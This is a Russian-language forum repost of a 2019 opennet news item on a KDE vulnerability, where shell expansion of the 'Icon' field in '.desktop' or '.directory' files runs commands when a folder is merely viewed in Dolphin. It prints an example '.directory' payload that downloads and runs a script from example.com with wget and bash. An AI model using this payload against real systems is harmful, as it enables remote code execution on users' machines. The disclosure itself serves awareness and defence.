PDA

Просмотр полной версии : Уязвимость в KDE, позволяющая выполнить код при просмотре списка файлов


Suicide
07.08.2019, 19:21
В KDE выявлена (https://twitter.com/zer0pwn/status/1158433002239746048) уязвимость (https://gist.githubusercontent.com/zeropwn/630832df151029cb8f22d5b6b9efaefb/raw/64aa3d30279acb207f787ce9c135eefd5e52643b/kde-kdesktopfile-command-injection.txt), позволяющая атакующему выполнить произвольные команды при просмотре пользователем каталога или архива, содержащего специально оформленные файлы ".desktop" и ".directory". Для атаки достаточно, чтобы пользователь просто просмотрел список файлов в файловом менеджере Dolphin, загрузил вредоносный desktop-файл или перетащил мышью ярлык на рабочий стол или в документ. Проблема проявляется в актуальном выпуске библиотек KDE Frameworks 5.60.0 (https://kde.org/announcements/kde-frameworks-5.60.0.php) и более старых версиях, вплоть до KDE 4. Уязвимость пока остаётся (https://kde.org/info/security/) неисправленной (https://security-tracker.debian.org/tracker/source-package/plasma-framework) (CVE не присвоен).

Проблема вызвана некорректной реализацией класса KDesktopFile, который при обработке переменной "Icon" без должного экранирования передаёт значение в функию KConfigPrivate::expandString(), которая выполняет раскрытие спецсимволов shell, в том числе обрабатывая строки "$(..)" как подлежащие исполнению команды. Вопреки требованиям спецификации XDG выполнение раскрытия (https://userbase.kde.org/KDE_System_Administration/Configuration_Files#Shell_Expansion) shell-конструкций производится без разделения типа настроек, т.е. не только при определении командной строки запускаемого приложения, но и при указании отображаемых по умолчанию пиктограмм.

Например, для атаки достаточно (https://github.com/RevThreat/KDE-ARBITRARY-CODE-EXECUTION-AUTOCLEAN/) отправить пользователю zip-архив с каталогом, содержащим файл ".directory" вида:

[Desktop Entry]

Type=Directory

Icon[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

При попытке просмотра содержимого архива в файловом менеджере Dolphin будет загружен и выполнен скрипт https://example.com/FILENAME.sh.

07.08.2019

http://www.opennet.ru/opennews/art.shtml?num=51235​